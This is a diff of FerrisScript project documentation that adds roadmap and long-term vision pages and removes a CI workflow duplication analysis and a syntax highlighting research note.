+4. **LSP Navigation Features** (2-3 PRs, 2-3 weeks) 🆕
+   - **Go-to-Definition**: Ctrl+Click or F12 to jump to function/variable definition
+   - **Find References**: Shift+F12 to show all usages of a symbol
+   - **Symbol Index**: Workspace-wide symbol search (Ctrl+T)
+   - **Cross-File Navigation**: Navigate between script files
+   - **Impact**: Makes large codebases navigable and refactorable
+
+5. **Script Signature Validation** (1 PR, 5-7 hours) 🆕
+   - Define `ScriptSignature` interface (properties, functions, signals)
+   - Validate scripts have required properties at load-time
+   - Validate scripts have required functions at load-time
+   - Better error messages for interface mismatches
+   - **Use Cases**: Plugin systems, child node contracts, team API validation
+   - **Impact**: Catches interface breaks before runtime
+
+**Deliverables**:
+
+- All new types implemented in lexer, parser, type checker, runtime
+- Explicit casting with overflow/truncation handling
+- LSP navigation working (go-to-def, find refs, workspace symbols)
+- Script signature validation at load-time
+- Comprehensive tests (~50-60 new tests)

+
+2. **Saturating Methods** (2-3 PRs)
+   - Clamps to `MIN`/`MAX` instead of wrapping
+   - Methods: `saturating_add()`, `saturating_sub()`, `saturating_mul()`, `saturating_pow()`
+   - Perfect for game health/mana, score systems, physics
+
+3. **Wrapping Methods** (1-2 PRs)

+     - Compile-time validation of node types
+     - **Requires**: Godot type registry (significant effort)
+   - **Strict Mode** *(if community wants it)*:
+     - `@strict` attribute for maximum type safety
+     - Require explicit types everywhere (no inference)
+     - Require explicit casts (no implicit conversions)
+   - **Pre-Compilation** *(if performance needed)*:
+     - Compile `.ferris` → `.fsc` at build time
+     - Faster load times, no runtime compilation
+   - **⚠️ Note**: These features require **community validation** before implementation
+
+**Deliverables**:

+# FerrisScript Long-Term Vision
+
+**Status**: Aspirational - Not Committed to Roadmap  
+**Timeline**: 2-5+ years  
+**Purpose**: Inspire community, guide long-term thinking
+
+---
+
+## 🌟 Introduction
+
+This document outlines FerrisScript's aspirational future beyond v0.2.0. These are **stretch goals** that require:
+
+- ✅ Proven community adoption
+- ✅ Multiple active contributors
+- ✅ Validated user demand
+- ✅ Stable foundation (v0.1.0-v0.2.0 complete)
+
+**This is NOT a commitment**. Features here may never be built, or may evolve dramatically based on feedback.
+
+---
+
+## 🎯 Core Philosophy
+
+> **"FerrisScript is not just a faster scripting language. It's an *engine meta-language* — one that lets Godot reason about your code before you even press play."**
+
+### Guiding Principles
+
+1. **Compile-Time First**: Catch errors before runtime, always
+2. **Deterministic by Default**: Predictable behavior, reproducible results
+3. **Rust-Powered**: Leverage Rust ecosystem without C++ complexity
+4. **Godot-Native**: First-class integration, not bolted on
+5. **Community-Driven**: Empower creators beyond core team
+
+---
+
+## 🗺️ Long-Term Roadmap
+
+### Phase 0.5-1.0: Foundation → Integration (Current Focus)
+
+**Timeline**: 0-18 months  
+**Status**: ✅ Committed (see ROADMAP_MASTER.md)
+
+**Milestones**:
+
+- v0.0.4: Runtime stability + lifecycle callbacks
+- v0.0.5: LSP Alpha for external editors
+- v0.0.6: Language features (arrays, for loops)
+- v0.0.7: Godot API expansion
+- v0.1.0: Manifest system + metadata
+- v0.2.0: Godot editor plugins + hot reload
+
+**Outcome**: FerrisScript is a **stable, productive scripting language** with excellent editor support.
+
+---
+
+### Phase 1.0-1.5: Advanced Integration (Conditional)
+
+**Timeline**: 18-36 months  
+**Status**: ⏸️ Conditional (requires user demand)
+
+#### v0.3.0: Scene Contracts & Parallelism
+
+**Vision**: Compile-time validation of scene dependencies
+
+**Features**:
+
+- **Scene Contracts**: Static analysis of .tscn files
+
+  ```ferris
+  #[scene_contract]
+  trait PlayerScene {
+      fn get_health_bar(&self) -> NodeRef<ProgressBar>;
+      fn get_weapon(&self) -> NodeRef<Node2D>;
+  }
+  ```
+
+- **Parallel Processing**: Safe threading for gameplay
+
+  ```ferris
+  #[parallel]
+  fn update_agents(agents: &mut [Agent]) {
+      agents.par_iter_mut().for_each(|a| a.tick());
+  }
+  ```
+
+- **Determinism Toolkit**: Guaranteed reproducibility
+
+  ```ferris
+  #[deterministic]
+  fn simulate_physics(bodies: &mut [RigidBody]) {
+      // Compiler ensures deterministic operations only
+  }
+  ```
+
+**Prerequisites**:
+
+- Scene parser subsystem
+- Godot threading model integration
+- Community validation of priorities
+
+**Risk**: Very High (new subsystems, engine limitations)
+
+#### v0.4.0: Asset Validation & Static Linking
+
+**Vision**: Compile-time asset existence and type checking
+
+**Features**:
+
+- **Static Resource Linking**:
+
+  ```ferris
+  #[resource(path = "res://assets/player.png")]
+  const PLAYER_TEXTURE: Texture2D = Texture2D::load();
+  // ^^^ Fails at compile time if file missing
+  ```
+
+- **Recipe/Data Validation**:
+
+  ```ferris
+  #[recipe(inputs = ["IronOre", "Coal"], output = "Steel")]
+  fn smelt() -> Item { /* ... */ }
+  // ^^^ Validates items exist in game data
+  ```
+
+- **Node Path Type Checking**:
+
+  ```ferris
+  fn _ready() {
+      let health = get_node("HealthBar") as ProgressBar;
+      // ^^^ Type and existence checked at compile time
+  }
+  ```
+
+**Prerequisites**:
+
+- Asset manifest system
+- Deep .tscn integration
+- User demand proven
+
+**Risk**: High (requires scene parser)
+
+---
+
+### Phase 1.5-2.0: Ecosystem & Modding (Community-Led)
+
+**Timeline**: 36-60+ months  
+**Status**: 🌱 Community-driven (beyond solo dev)
+
+#### v0.5.0+: Package Ecosystem
+
+**Vision**: Share and reuse FerrisScript modules
+
+**Features**:
+
+- **FerrisScript Package Registry**
+  - Like crates.io but for game logic
+  - Versioned dependencies
+  - Compatibility guarantees
+
+- **Crates.io Integration**
+  - Use Rust crates directly from FerrisScript
+  - Pathfinding, AI, networking libraries
+  - No C++ binding layer needed
+
+- **Module Marketplace**
+  - Community-built gameplay systems
+  - Inventory, dialogue, crafting systems
+  - Plug-and-play components
+
+**Example**:
+
+```toml
+[dependencies]
+ferris_inventory = "0.2.0"
+ferris_dialogue = "0.1.5"
+pathfinding = "0.4.0"  # Rust crate
+```
+
+**Prerequisites**:
+
+- Multiple projects using FerrisScript
+- Community contributors
+- Stable ABI across versions
+

+
+**Vision**: Safe user-authored scripts for modding
+
+**Features**:
+
+- **Sandboxed Compilation**
+  - User scripts compile to WASM
+  - Limited API surface (no filesystem, network)
+  - Performance isolation
+
+- **Mod API**
+
+  ```ferris
+  #[mod_api]
+  trait ItemMod {
+      fn on_use(&self, item: &Item, player: &mut Player);
+  }
+  ```
+
+- **Security Guarantees**
+  - Compiler prevents unsafe operations
+  - Resource limits (CPU, memory)
+  - Mod verification system
+
+**Prerequisites**:
+
+- WASM target for FerrisScript
+- Sandboxing infrastructure
+- Proven modding demand
+
+**Risk**: Very High (security, performance, complexity)
+
+#### v0.7.0+: Visual Tooling
+
+**Vision**: Blueprint-style programming for FerrisScript
+
+**Features**:
+
+- **Visual Graph Editor**
+  - Node-based programming
+  - Compiles to FerrisScript

+
+---
+
+### Phase 2.0+: Multi-Engine Integration (Aspirational)
+
+**Timeline**: 60+ months (5+ years)  
+**Status**: ❌ Out of scope for solo dev
+
+#### Vision: Cross-Engine Scripting Language
+
+**Goal**: FerrisScript as portable simulation language
+
+**Features**:
+
+- **Engine Abstraction Layer**
+
+  ```ferris
+  // Same code works in Godot, Bevy, Fyrox
+  fn update(delta: f32, nodes: &mut SceneGraph) {
+      // Engine-agnostic logic
+  }
+  ```
+
+- **Multi-Target Builds**
+
+  ```bash
+  cargo ferris build --target godot
+  cargo ferris build --target bevy
+  cargo ferris build --target wasm
+  ```
+
+- **Shared Runtime**
+  - Common deterministic logic
+  - Cross-platform serialization
+  - Engine-specific bindings
+
+**Why This Is Out of Scope**:
+
+- ❌ Requires full-time team
+- ❌ 2-5 years of work
+- ❌ Deep integration with multiple engines
+- ❌ Maintenance burden is massive
+- ❌ Uncertain value proposition
+
+**Alternative**: Let community fork for other engines if desired
+

+**Vision**: Use Rust code directly in FerrisScript
+
+```ferris
+fn fast_pathfinding(start: Vec2, end: Vec2) -> Path {
+    #[inline_rust]
+    unsafe {
+        // Direct Rust code for ultra-performance
+        pathfinding::astar::astar(start, end, ...)
+    }
+}
+```
+
+**Why It's Hard**:
+
+- Security concerns (unsafe code)
+- Compilation complexity
+- ABI stability
+
+**Status**: Interesting idea, needs research
+
+---

+
+```bash
+# Publish inventory system
+cargo ferris publish inventory-system
+
+# Use in any Godot project
+cargo ferris add inventory-system
+```
+
+**Why It's Valuable**:
+
+- Don't rewrite common systems
+- Community best practices
+- Faster development
+
+**Status**: Realistic for v0.5.0+ (community-led)
+
+---
+

+3. **GAME_ARCHETYPES.md**: Marketing-focused showcase
+
+---
+
+## ⚠️ Concerns & Risks
+
+### 1. Scope Creep Risk (HIGH)
+
+**Issue**: Research documents propose 50+ features spanning years of work.
+
+**Mitigation**:
+
+- Clearly mark features as "aspirational" vs "planned"
+- Require community validation before committing to advanced features
+- Focus on v0.1.0-v0.2.0 core experience first
+
+### 2. Technical Feasibility (MEDIUM)
+
+**Issue**: Some features may not be possible via GDExtension:
+
+- Deep scene integration (contracts)
+- Compile-time .tscn parsing
+- Runtime thread safety enforcement
+
+**Mitigation**:
+
+- Prototype risky features before committing
+- Have fallback plans (e.g., runtime validation instead of compile-time)
+- Get Godot community input on engine limitations
+
+### 3. Solo Dev Capacity (HIGH)
+
+**Issue**: Many features assume team development or years of effort.
+
+**Mitigation**:
+
+- Defer Phase 1.2+ features to community contributors
+- Focus on high-value, achievable features first
+- Build community momentum before tackling ecosystem
+
+### 4. Parallel Processing Complexity (VERY HIGH)
+
+**Issue**: Safe parallel processing requires:
+
+- Borrow checker-like semantics
+- Deep understanding of Godot's threading model
+- Potential conflicts with GDScript's shared state
+
+**Mitigation**:
+
+- **Defer to v0.3.0+ at earliest**
+- Require extensive prototyping
+- Consider starting with "unsafe but explicit" threading first
+- Get feedback from Rust/Godot experts
+
+### 5. Determinism Guarantees (HIGH)
+
+**Issue**: True determinism requires:
+
+- Fixed-point math or strict FP control
+- Deterministic allocation
+- No platform-specific behavior
+- Careful integration with Godot's physics
+
+**Mitigation**:
+
+- Start with "deterministic by default" for simple cases
+- Document limitations clearly
+- Provide opt-in deterministic mode (`#[deterministic]`)
+- Test across platforms before claiming determinism
+
+---
+
+## 💡 Missing Opportunities (Add to Roadmap)
+
+### 1. Package Ecosystem
+
+**Gap**: No discussion of sharing FerrisScript modules or libraries.
+
+**Opportunity**:
+
+- Integration with crates.io for Rust dependencies
+- FerrisScript package registry (long-term)
+- Module versioning and compatibility
+
+**Action**: Add to v0.4.0+ aspirational features
+
+### 2. Migration Strategy
+
+**Gap**: No guidance on GDScript → FerrisScript migration.
+
+**Opportunity**:
+
+- Migration guide in documentation
+- Interop patterns (calling GDScript from FerrisScript and vice versa)
+- Gradual adoption path (FerrisScript for hot paths, GDScript for glue)
+
+**Action**: Add to v0.2.0 documentation deliverables
+
+### 3. Performance Benchmarks
+
+**Gap**: No concrete performance targets or comparisons.
+
+**Opportunity**:
+
+- Benchmark suite showing FerrisScript vs GDScript
+- Performance documentation (when to use each)
+- Optimization guide
+
+**Action**: Add to v0.2.0 deliverables (after hot reload working)
+
+### 4. Learning Curve Management
+
+**Gap**: No onboarding strategy for Godot devs unfamiliar with Rust.
+
+**Opportunity**:
+
+- "FerrisScript for GDScript developers" guide
+- Simplified syntax subset (no lifetimes, minimal generics)
+- Interactive tutorials in docs
+
+**Action**: Add to v0.2.0 documentation
+
+### 5. Community Building
+
+**Gap**: No plan for early adopters or feedback loops.
+
+**Opportunity**:
+
+- Alpha/beta program for simulation game developers
+- Discord/forum for feedback
+- Example game showcase
+
+**Action**: Begin after v0.1.0 ships (stable foundation)
+

-# CI Workflow Duplication Analysis
-
-**Date**: October 8, 2025  
-**Issue**: Duplicate workflow executions on develop branch pushes  
-**Root Cause**: PR #31 (develop → main) open while pushing to develop
-
----
-
-## 🔍 Problem Summary
-
-When pushing to the `develop` branch while PR #31 (develop → main) is **open**, GitHub Actions triggers workflows **twice**:
-
-1. **Push event** on `develop` branch
-2. **Pull request synchronize event** on PR #31
-
-This causes unnecessary CI minutes usage and duplicate validation.
-
----
-
-## 📊 Current Workflow Execution Analysis
-
-### Workflow Run History (Last 10)
-
-From `gh run list`:
-
-```
-2025-10-08T18:56:24Z | pull_request | develop | Code Scanning & Coverage | success
-2025-10-08T18:56:24Z | pull_request | develop | CI/CD | success
-2025-10-08T18:56:24Z | pull_request | develop | Documentation Linting | success
-2025-10-08T18:56:22Z | push | develop | Documentation Linting | success
-2025-10-08T18:56:22Z | push | develop | Code Scanning & Coverage | (in progress)
-2025-10-08T18:54:25Z | pull_request | develop | Documentation Linting | success
-2025-10-08T18:54:25Z | pull_request | develop | CI/CD | success
-2025-10-08T18:54:25Z | pull_request | develop | Code Scanning & Coverage | success
-2025-10-08T18:54:24Z | push | develop | Code Scanning & Coverage | success
-```
-
-**Evidence of Duplication**: Same workflows running for both `push` and `pull_request` events at nearly identical timestamps.
-
----
-
-## 🔧 Workflow Configuration Analysis
-
-### 1. `ci.yml` (CI/CD)
-
-**Push Triggers**:
-
-```yaml
-on:
-  push:
-    branches: 
-      - main
-      - develop
-```
-
-**Pull Request Triggers**:
-
-```yaml
-  pull_request:
-    branches: 
-      - main
-      - develop
-```
-
-**Jobs**:
-
-- `quick-check`: Runs **only** on `pull_request` events
-  - Condition: `if: github.event_name == 'pull_request'`
-  - Duration: ~2-3 minutes
-  - Actions: Format check, clippy, unit tests (Ubuntu only)
-
-- `test`: Runs **only** on `push` to main/develop or tags
-  - Condition: `if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/develop' || startsWith(github.ref, 'refs/tags/')`
-  - Duration: ~10-15 minutes
-  - Actions: Full test suite (3 platforms: Ubuntu, Windows, macOS)
-
-**Duplication Impact**: Both jobs run, but they're different (quick-check vs full test suite). This is **intentional design** for fast PR feedback.
-
----
-
-### 2. `code-scanning.yml` (Code Scanning & Coverage)
-
-**Push Triggers**:
-
-```yaml
-on:
-  push:
-    branches:
-      - main
-      - develop
-```
-
-**Pull Request Triggers**:
-
-```yaml
-  pull_request:
-    types: [opened, synchronize, reopened]
-```
-
-**Jobs**:
-
-- `sonarqube`: Runs on **both** push and pull_request
-  - No conditions limiting execution
-  - Duration: ~3-5 minutes
-  - **DUPLICATES**: Runs twice on develop pushes (with PR #31 open)
-
-- `codecov`: Runs **only** on push to main/develop
-  - Condition: `if: github.event_name == 'push' && (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/develop')`
-  - Duration: ~5-7 minutes
-  - **No duplication**: Pull request events are excluded ✅
-
-**Duplication Impact**: SonarQube runs twice, Codecov runs once (correct).
-
----
-
-### 3. `docs-lint.yml` (Documentation Linting)
-
-**Push Triggers**:
-
-```yaml
-on:
-  push:
-    branches: 
-      - main
-      - develop
-    paths:
-      - '**.md'
-      - 'docs/**'
-```
-
-**Pull Request Triggers**:
-
-```yaml
-  pull_request:
-    branches:
-      - main
-      - develop
-    paths:
-      - '**.md'
-      - 'docs/**'
-```
-
-**Jobs**:
-
-- `markdown-lint`: Runs on **both** push and pull_request
-  - No conditions limiting execution
-  - Duration: ~1-2 minutes
-  - **DUPLICATES**: Runs twice on develop pushes (with PR #31 open)
-
-- `link-check`: Runs on **both** push and pull_request
-  - No conditions limiting execution
-  - Duration: ~2-3 minutes
-  - **DUPLICATES**: Runs twice on develop pushes (with PR #31 open)
-
-**Duplication Impact**: Both jobs run twice (markdown-lint + link-check).
-
----
-
-### 4. `benchmarks.yml` (Benchmarks)
-
-**Push Triggers**:
-
-```yaml
-on:
-  push:
-    branches: [main, develop]
-    paths:
-      - 'crates/**/*.rs'
-      - 'Cargo.toml'
-```
-
-**No Pull Request Triggers** ✅
-
-**Duplication Impact**: None - only runs on push events.
-
----
-
-## ✅ Coverage Verification
-
-### Question: Is coverage running on develop?
-
-**Answer: YES** ✅
-
-**Evidence**:
-
-```yaml
-codecov:
-  name: Code Coverage (Codecov)
-  if: |
-    github.event_name == 'push' && 
-    (github.ref == 'refs/heads/main' || github.ref == 'refs/heads/develop')
-```
-
-**Coverage Execution**:
-
-- ✅ Runs on **push** to develop
-- ✅ Generates **both** Cobertura XML and LCOV (after recent change)
-- ✅ Uploads to Codecov
-- ✅ LCOV available for SonarCloud integration
-- ❌ Does **not** run on pull_request events (by design - saves CI time)
-
-**Verification from recent runs**:
-
-```
-2025-10-08T18:56:22Z | push | develop | Code Scanning & Coverage | (in progress)
-2025-10-08T18:54:24Z | push | develop | Code Scanning & Coverage | success
-```
-
-Coverage job ran successfully on both pushes to develop.

-## 🚨 Duplication Summary
-
-| Workflow | Job | Push (develop) | Pull Request (PR #31) | Duplicates? |
-|----------|-----|----------------|----------------------|-------------|
-| **ci.yml** | quick-check | ❌ No | ✅ Yes | ❌ No (different jobs) |
-| **ci.yml** | test | ✅ Yes | ❌ No | ❌ No (different jobs) |
-| **code-scanning.yml** | sonarqube | ✅ Yes | ✅ Yes | ✅ **YES** |
-| **code-scanning.yml** | codecov | ✅ Yes | ❌ No | ❌ No |
-| **docs-lint.yml** | markdown-lint | ✅ Yes | ✅ Yes | ✅ **YES** |
-| **docs-lint.yml** | link-check | ✅ Yes | ✅ Yes | ✅ **YES** |
-| **benchmarks.yml** | benchmark | ✅ Yes | ❌ No | ❌ No |
-
-**Total Duplicates**: 3 jobs (SonarQube, markdown-lint, link-check)
-
-**CI Time Waste Per Push**:
-
-- SonarQube: ~3-5 minutes
-- Markdown-lint: ~1-2 minutes
-- Link-check: ~2-3 minutes
-- **Total**: ~6-10 minutes wasted per push to develop
-
-**Cost Impact**:
-
-- With PR #31 open: ~6-10 extra CI minutes per push
-- Over 10 pushes: ~60-100 extra CI minutes
-- GitHub Actions free tier: 2,000 minutes/month (public repos: unlimited)
-- **For public repos**: No cost impact, but unnecessary resource usage
-
----
-
-## 🔍 Main Branch Verification
-
-### Question: Does main branch also have duplication issues?
-
-**Answer: NO** (when no PR is open targeting main from a feature branch)
-
-**Scenario Analysis**:
-
-1. **Push directly to main** (after merge):
-   - Triggers: `push` event on main
-   - No pull_request events (no open PR)
-   - **Result**: Single execution ✅
-
-2. **PR from feature branch → main**:
-   - Push to feature branch triggers `pull_request` event only
-   - No `push` event on main (not pushed yet)
-   - **Result**: Single execution ✅
-
-3. **Push to develop with PR #31 open (develop → main)**:
-   - Push to develop triggers `push` event on develop
-   - Also triggers `pull_request` synchronize event on PR #31
-   - **Result**: Duplicate execution ❌
-
-**Conclusion**: Main branch is **NOT** affected by duplication because:
-
-- Pushes to main happen **after** PR merge (PR is closed, no synchronize events)
-- Feature branch PRs don't push to main, only trigger pull_request events
-
----
-
-## 💡 Solutions & Recommendations
-
-### Option 1: Close PR #31 Until Ready to Merge (Immediate Fix) ⭐
-
-**Action**: Convert PR #31 to draft or close it until v0.0.3 is ready for final review.
-
-**Pros**:
-
-- ✅ Immediate fix (no code changes)
-- ✅ Stops all duplication
-- ✅ Saves ~6-10 CI minutes per push
-
-**Cons**:
-
-- ⚠️ PR needs to be reopened when ready to merge
-- ⚠️ Lose continuous PR validation (but develop branch validation continues)
-
-**Recommendation**: **Best immediate solution** since v0.0.3 is still in development and not ready for merge yet.
-
----
-
-### Option 2: Add Workflow Conditions to Skip PR Events on develop
-
-**Action**: Modify workflows to skip execution when pull_request event AND head branch is develop.
-
-**Example for `code-scanning.yml`**:
-
-```yaml
-sonarqube:
-  name: SonarQube Quality Scan
-  if: |
-    github.event_name == 'push' || 
-    (github.event_name == 'pull_request' && github.head_ref != 'develop')
-  runs-on: ubuntu-latest
-```
-
-**Example for `docs-lint.yml`**:
-
-```yaml
-markdown-lint:
-  name: Markdown Linting
-  if: |
-    github.event_name == 'push' || 
-    (github.event_name == 'pull_request' && github.head_ref != 'develop')
-  runs-on: ubuntu-latest
-
-link-check:
-  name: Markdown Link Check
-  if: |
-    github.event_name == 'push' || 
-    (github.event_name == 'pull_request' && github.head_ref != 'develop')
-  runs-on: ubuntu-latest
-```
-
-**Pros**:
-
-- ✅ Permanent fix (prevents future duplication)
-- ✅ Still validates PRs from feature branches
-- ✅ Develop branch gets full validation on push
-
-**Cons**:
-
-- ⚠️ Requires workflow changes (3 files)
-- ⚠️ Need to test/verify conditions work correctly
-- ⚠️ Slightly more complex workflow logic
-
-**Recommendation**: **Good long-term solution** if keeping PR #31 open is required.
-
----
-
-### Option 3: Accept Duplication During Development (No Change)
-
-**Action**: Do nothing, accept temporary duplication until PR #31 is merged.
-
-**Pros**:
-
-- ✅ No changes needed
-- ✅ Extra validation can catch issues earlier
-- ✅ Temporary issue (goes away after merge)
-
-**Cons**:
-
-- ❌ Wastes ~6-10 CI minutes per push
-- ❌ Slower CI feedback (more jobs queued)
-- ❌ Clutters CI history with duplicate runs
-
-**Recommendation**: **Acceptable for short-term** if PR will be merged soon (within 1-2 days).
-
----
-
-## 📋 Recommended Action Plan
-
-### Immediate (Today)
-
-**Option 1 (Simplest)**:
-
-1. Keep PR #31 open as draft (for visibility)
-2. Accept duplication during final v0.0.3 development
-3. Merge PR #31 once v0.0.3 is ready (duplication stops automatically)
-
-**Option 2 (If duplication is problematic)**:
-
-1. Implement workflow conditions (Option 2 above)
-2. Test on develop branch
-3. Verify duplication stops
-
-### Short-Term (v0.0.4)
-
-1. Establish workflow best practices:
-   - Keep develop → main PR closed during active development
-   - Open PR only for final review before merge
-   - Or implement Option 2 conditions permanently
-
-2. Document workflow patterns in CONTRIBUTING.md
-
-### Long-Term (v0.1.0)
-
-1. Consider CI/CD optimizations:
-   - Consolidate duplicate workflows
-   - Add more granular path filters
-   - Optimize job dependencies
-

-- [x] **Docs linting duplicates**: YES ❌ (runs on both push and PR sync)
-- [x] **Main branch has duplication**: NO ✅ (only when PR is open, closed after merge)
-- [x] **CI tests duplicate**: NO ✅ (different jobs: quick-check vs full test suite)
-

-
-## 📊 Impact Assessment
-
-### Current State (PR #31 Open)
-
-**Per push to develop**:
-
-- SonarQube: 2 runs (~8 minutes total)
-- Markdown-lint: 2 runs (~2 minutes total)
-- Link-check: 2 runs (~4 minutes total)
-- **Total waste**: ~14 minutes per push
-
-**Over 10 pushes** (typical development cycle):
-
-- **Total waste**: ~140 minutes (~2.3 hours)
-
-### After Fix (Option 1 or 2)
-
-**Per push to develop**:
-
-- SonarQube: 1 run (~4 minutes)
-- Markdown-lint: 1 run (~1 minute)
-- Link-check: 1 run (~2 minutes)
-- **Total**: ~7 minutes per push (50% reduction)
-
----
-
-## 🎯 Conclusion
-
-**Key Findings**:
-
-1. ✅ Coverage **IS** running on develop pushes
-2. ✅ Coverage generates both Cobertura and LCOV
-3. ❌ SonarQube, markdown-lint, and link-check **ARE** duplicating
-4. ✅ Main branch **does NOT** have duplication issues
-5. ✅ Root cause identified: PR #31 open while pushing to develop
-
-**Decision Made**: **Option 1 - Accept Temporary Duplication** ✅
-
-**Rationale**:
-
-- `develop → main` PRs are standard workflow going forward
-- Duplication is **temporary** (only during active development on develop)
-- Duplication **stops automatically** when PR is merged
-- **Simplest solution** - no workflow changes needed
-- Extra validation can catch issues earlier (added benefit)
-- Impact is minimal for short development cycles (1-3 days before merge)
-
-**Workflow Pattern Established**:
-
-```
-1. Open PR: develop → main (draft or ready for review)
-2. Push commits to develop (duplication occurs, but acceptable)
-3. Final review and merge PR
-4. Duplication stops (PR is closed)
-5. Repeat for next version
-```
-
-**Trade-offs Accepted**:
-
-- ~6-10 extra CI minutes per push to develop (during PR open period)
-- Cluttered CI history with duplicate runs
-- Offset by: Extra validation, simpler workflow, automatic resolution
-
-**Next Steps**:
-
-1. ✅ Keep PR #31 open during v0.0.3 finalization
-2. ✅ Accept duplication as normal during this phase
-3. ✅ Merge PR #31 when v0.0.3 is ready
-4. ✅ Repeat pattern for v0.0.4, v0.0.5, etc.
-5. ✅ Document this workflow pattern in CONTRIBUTING.md (future enhancement)

-# Markdown Syntax Highlighting for FerrisScript 🎨
-
-**Date**: October 7, 2025  
-**Status**: Research & Planning  
-**Target Version**: v0.4.0+ (Post-core language stability)  
-**Priority**: Low-Medium (Documentation enhancement, not blocking)
-
----
-
-## 🎯 Research Objective
-
-Investigate syntax highlighting options for FerrisScript code blocks in markdown documentation to:
-
-1. Understand GitHub Linguist integration for official language support
-2. Evaluate JavaScript-based syntax highlighters for documentation sites
-3. Identify fallback strategies (using similar languages like Rust)
-4. Determine optimal implementation timeline based on roadmap priorities
-5. Provide recommendations for short-term and long-term solutions
-
----
-
-## 📊 Current State
-
-### What We Have (v0.0.3)
-
-- ✅ **`.ferris` file extension** - Established file format
-- ✅ **VS Code TextMate grammar** - In progress (v0.0.2, see `v0.1.0-ROADMAP.md`)
-- ✅ **Syntax highlighting in VS Code** - TextMate-based
-- ✅ **Language syntax** - Rust-inspired (static typing, explicit types)
-
-### Current Limitations
-
-- ❌ **No GitHub markdown support** - Code blocks show as plain text
-- ❌ **No web documentation syntax highlighting** - If/when we build docs site
-- ❌ **Not recognized by GitHub Linguist** - Language not detected in repos
-- ❌ **No Prism.js/Highlight.js support** - Popular highlighters don't know FerrisScript
-
-### Example Problem
-
-**Current markdown code block** (no highlighting):
-
-````markdown
-```ferrisscript
-fn _ready() {
-    let position: Vector2 = Vector2 { x: 100.0, y: 200.0 };
-    self.position = position;
-}
-```
-````
-
-**Rendered on GitHub**: Plain text (no syntax highlighting)
-
-**Workaround** (using Rust highlighting):
-
-````markdown
-```rust
-fn _ready() {
-    let position: Vector2 = Vector2 { x: 100.0, y: 200.0 };
-    self.position = position;
-}
-```
-````
-
-**Rendered**: Rust syntax highlighting (mostly works, but not perfect)
-
----
-
-## 🔍 Solution Options
-
-### Option 1: GitHub Linguist Integration (Official Support)
-
-**What is GitHub Linguist?**
-
-- Official GitHub tool for language detection and syntax highlighting
-- Powers syntax highlighting on github.com
-- Defines language metadata (extensions, colors, categories)
-- Uses TextMate grammars for highlighting
-
-**GitHub Linguist Project**: https://github.com/github/linguist
-
-#### How to Add a Language
-
-**Requirements**:
-
-1. **TextMate grammar** (`.tmLanguage.json` or `.tmLanguage`) ✅ We have this (v0.1.0)
-2. **Language metadata** in `languages.yml`:
-
-   ```yaml
-   FerrisScript:
-     type: programming
-     color: "#CE422B"  # Rust-like orange/red
-     extensions:
-     - ".ferris"
-     tm_scope: source.ferrisscript
-     ace_mode: rust  # Fallback mode
-     language_id: 999999  # Unique ID
-   ```
-
-3. **Sample code** for testing (in `samples/` directory)
-4. **Pull request to Linguist repo** with above files
-
-**Effort**:
-
-- Packaging: 1-2 days
-- PR submission & review: 2-4 weeks (depends on maintainers)
-- **Total**: ~1 month from submission to merge
-
-**Benefits**:
-
-- ✅ Official GitHub support
-- ✅ Automatic syntax highlighting in all GitHub markdown
-- ✅ Language detection in repositories
-- ✅ Shows up in GitHub's language statistics
-- ✅ Zero maintenance after merge (GitHub maintains it)
-
-**Drawbacks**:
-
-- ⚠️ External dependency (Linguist maintainers must approve)
-- ⚠️ Can be rejected or delayed
-- ⚠️ No control over update timeline
-- ⚠️ Only helps on GitHub (not other platforms or docs sites)
-
-**Requirements Before Submission**:
-
-- ✅ Stable TextMate grammar (from v0.1.0)
-- ✅ Established file extension (`.ferris`)
-- ⚠️ Some adoption/usage (GitHub prefers languages with users)
-- ⚠️ Stable language syntax (avoid breaking changes)
-
-**Recommendation**: **Submit to Linguist in v0.1.0 or v0.2.0**
-
-- After LSP/editor support is stable
-- After syntax is relatively stable
-- Before major adoption (so highlighting exists when users arrive)

-### Option 2: Prism.js (Web Documentation Highlighter)
-
-**What is Prism.js?**
-
-- Popular JavaScript syntax highlighter for web pages
-- Lightweight, extensible, customizable
-- Used by many documentation sites
-- Supports custom language definitions
-
-**Prism.js Project**: https://prismjs.com/
-
-#### How to Add a Language
-
-**Implementation**:
-
-1. **Create language definition** (JavaScript):
-
-   ```javascript
-   Prism.languages.ferrisscript = {
-     'comment': /\/\/.*/,
-     'string': /(["'])(?:\\.|(?!\1)[^\\\r\n])*\1/,
-     'keyword': /\b(?:fn|let|mut|if|else|while|return|self)\b/,
-     'type': /\b(?:i32|f32|i64|f64|bool|String|Vector2)\b/,
-     'number': /\b0x[\da-f]+\b|(?:\b\d+\.?\d*|\B\.\d+)(?:e[+-]?\d+)?/i,
-     'operator': /[+\-*\/%=!<>]=?|&&|\|\|/,
-     'punctuation': /[{}[\];(),.:]/
-   };
-   ```
-
-2. **Load in documentation site**:
-
-   ```html
-   <script src="prism.js"></script>
-   <script src="prism-ferrisscript.js"></script>
-   <link rel="stylesheet" href="prism.css">
-   ```
-
-3. **Use in markdown** (after rendering to HTML):
-
-   ````markdown
-   ```ferrisscript
-   fn _ready() {
-       print("Hello, Ferris!");
-   }
-   ```
-   ````
-
-**Effort**:
-
-- Language definition: 1-2 days (based on TextMate grammar)
-- Testing: 1 day
-- Documentation: 1 day
-- **Total**: 3-4 days
-
-**Benefits**:
-
-- ✅ Full control over highlighting rules
-- ✅ Works on any website (docs site, blog, tutorials)
-- ✅ Lightweight and fast
-- ✅ Customizable themes
-- ✅ Can update independently
-
-**Drawbacks**:
-
-- ❌ Doesn't help on GitHub
-- ⚠️ Requires documentation site to exist
-- ⚠️ Must maintain language definition separately
-- ⚠️ Must distribute to users (if they build docs)
-
-**Use Cases**:
-
-- Official documentation site (e.g., ferrisscript.org)
-- Tutorial sites
-- Blog posts about FerrisScript
-- API documentation generators
-
-**Recommendation**: **Implement when building documentation site** (v0.4.0+)
-
-- After language is stable
-- When official docs site is built
-- Can be packaged with docs
-
-**Reference**: https://prismjs.com/extending.html#language-definitions
-
----
-
-### Option 3: Highlight.js (Alternative Web Highlighter)
-
-**What is Highlight.js?**
-
-- Another popular JavaScript syntax highlighter
-- Automatic language detection
-- Similar to Prism.js but different API
-- Used by many documentation sites (Stack Overflow, etc.)
-
-**Highlight.js Project**: https://highlightjs.org/
-
-#### How to Add a Language
-
-**Implementation**:
-
